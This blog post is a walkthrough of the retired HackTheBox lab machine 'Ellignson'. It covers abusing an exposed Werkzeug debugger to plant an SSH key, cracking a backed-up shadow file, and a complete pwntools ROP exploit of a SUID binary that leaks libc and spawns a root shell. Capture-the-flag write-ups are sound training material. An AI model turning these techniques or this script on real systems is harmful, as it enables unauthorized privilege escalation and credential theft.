HacktheBox - Ellignson

Summary

Ellignson,a Linux box created by HackTheBox user Ic3M4n, was an overall medium to hard difficulty box.The Initial foothold was getting werzeug debugger and get a low privilege user then get the user by cracking the password for the user from shadow.bak. Root on this box a binary exploitation to get a shell as root, which was hard for me but was really fun.

Enumeration

Nmap Scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Nmap 7.70 scan initiated Sun May 19 00:30:53 2019 as: nmap -sC -sV -oN nmap/ellignson 10.10.10.139
Nmap scan report for 10.10.10.139
Host is up (0.14s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
| http-title: Ellingson Mineral Corp
|_Requested resource was http://10.10.10.139/index
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun May 19 00:31:19 2019 -- 1 IP address (1 host up) scanned in 26.19 seconds

Web (Port 80)

Playing around on Port 80 we see there is somekind of failToban setup. looking around more we find http://10.10.10.139/articles/A crashes the app and exposed Werkzeug Debugger. This reminds me of the Patreon hack in 2015..
We can execute python functions to read list files and we find the user hal from /etc/passwd.
I tried grabbing the id_rsa from /home/hal/.ssh/id_rsa but that is encrtypted. I tried cracking it but had no luck.
So, I tried doing the opposite and writing to /home/hal/.ssh/authorized_keys.

1
2
3
f = open("/home/hal/.ssh/authorized_keys","a");
f.write("<my public key>");
f.close();

Low Privilege Shell

With the above steps we were able to ssh as hal in the box. but still no user.txt.
After enumerating a little we see that hal is in group adm. Let’s try seeing which all files we can read with

1
$ find / -group adm 2> /dev/null

We find /var/backups/shadow.bak file. It took us sometime but we were able to crack that with hashcat with rockyou.txt and recover few passwords as theplauge iamgod$08.

User

With the above passwords we try to ssh as user margo and we were able to get a shell as margo with password iamgod$08 and we were able to read the user.txt

Privilege Root.

Enumerating we find /usr/bin/garbage has SUID bit set and is not a standard Ubutnu suid binary.
A hint from the movie Hackers(1995) which this box is based on, the garbage file was a worm that the plague inserted to defraud Ellingson and a young hacker named Joey tried to download this file as evidence of his capabilities.
So we try to exuecute this file, it asked for a password which when we insert a huge password, it crashes the program, hece subjected to buffer overflow.
Checking if ASLR (Address Space Layout Randomization) is enabled on this box

1
2
$ cat /proc/sys/kernel/randomize_va_space
2

The ASLR is enabled on the machine.We have loaded the garbage in gdb-peda
The program crashed, looking at the RSP we can tell where it starts to overwrite the pointer.

Using pattern offset we know that it is 136 characters.

We need to get some of the addresses now. Looking into

1
2
$ objdump -D garbage | grep put
401050: ff 25 d2 2f 00 00 jmpq *0x2fd2(%rip) # 404028 <puts@GLIBC_2.2.5>

we see plt_puts = 401050 and glt_puts = 404028.

1
2
3
4
5
6
7
8
readelf -s libc.so.6 | grep puts   
191: 00000000000809c0 512 FUNCGLOBAL DEFAULT 13_IO_puts@@GLIBC_2.2.5
422: 00000000000809c0 512 FUNCWEAK DEFAULT 13 puts@@GLIBC_2.2.5
496: 00000000001266c0 1240 FUNCGLOBAL DEFAULT 13putspent@@GLIBC_2.2.5
678: 00000000001285d0 750 FUNCGLOBAL DEFAULT 13putsgent@@GLIBC_2.10
1141: 000000000007f1f0 396 FUNCWEAK DEFAULT 13 fputs@@GLIBC_2.2.5
1677: 000000000007f1f0 396 FUNCGLOBAL DEFAULT 13_IO_fputs@@GLIBC_2.2.5
2310: 000000000008a640 143 FUNCWEAK DEFAULT 13fputs_unlocked@@GLIBC_2.2.5

Mapping ELF to get addresses of these

1
2
3
System : 000000000004f440
Setuid : 00000000000e5970
Puts: 00000000000809c0

We can also use pwntools too to get all these information too.

1
2
3
elf = ELF("./garbage")
rop = ROP(elf)
libc = ELF('./libc.so.6')
1
2
3
4
5
6
junk = "A"*136
rop.search(regs=['rdi'],order='regs')
rop.puts(elf.got['puts'])
rop.call(elf.symbols['main'])
log.info("Stage 1 ROP Chain:\n"+rop.dump())
payload = junk+str(rop)

and we can create our stage 1 payload to leak puts address

1
2
3
4
5
6
7
8
log.info("Sending Payload")
p.sendline(payload)
p.recvuntil("access denied.")
log.info("After Payload")
data=p.recv().strip().split('\n')
leaked = data[-2] + '\x00\x00'
log.info("Leaked Puts: "+leaked)
leak_puts = u64(leaked)

In Stage 2 of the payload we can SET UID 0 and try to get a shell

1
2
3
4
5
6
7
8
9
10
11
libc.address = leak_puts - libc.symbols['puts']
rop2 = ROP(libc)
rop2.setuid(0,0)
rop3 = ROP(libc)
rop3.system(next(libc.search('/bin/sh\x00')))
log.info("Stag 2 ROP chain:\n" + rop2.dump())
payload = junk + str(rop2)+str(rop3)
log.info(payload)
p.sendline(payload)
log.success("Here come the shell!")
p.interactive()

This give us shell as root on Ellignson

With this we have pwned Ellignson.

Entire Script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
s = ssh(host='10.10.10.139',user='margo',password='iamgod$08')
pname = "/usr/bin/garbage"
context(terminal=["tmux","new-window"])
p =s.process(pname)
context(os="linux",arch="amd64")
context.log_level = 'DEBUG'
log.info("Mapping Binaries")
elf = ELF("./garbage")
rop = ROP(elf)
libc = ELF('./libc.so.6')
junk = "A"*136
rop.search(regs=['rdi'],order='regs')
rop.puts(elf.got['puts'])
rop.call(elf.symbols['main'])
log.info("Stage 1 ROP Chain:\n"+rop.dump())
payload = junk+str(rop)
log.info("Sending Payload")
p.sendline(payload)
p.recvuntil("access denied.")
log.info("After Payload")
data=p.recv().strip().split('\n')
leaked = data[-2] + '\x00\x00'
log.info("Leaked Puts: "+leaked)
leak_puts = u64(leaked)
libc.address = leak_puts - libc.symbols['puts']
rop2 = ROP(libc)
rop2.setuid(0,0)
rop3 = ROP(libc)
rop3.system(next(libc.search('/bin/sh\x00')))
log.info("Stag 2 ROP chain:\n" + rop2.dump())
payload = junk + str(rop2)+str(rop3)
log.info(payload)
p.sendline(payload)
log.success("Here come the shell!")
p.interactive()

Reference : I used lot of Bittermen guide by ippsec

Author: Shubham Kumar
Link: https://f3v3r.in/htb/machines/retired/Ellignson/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.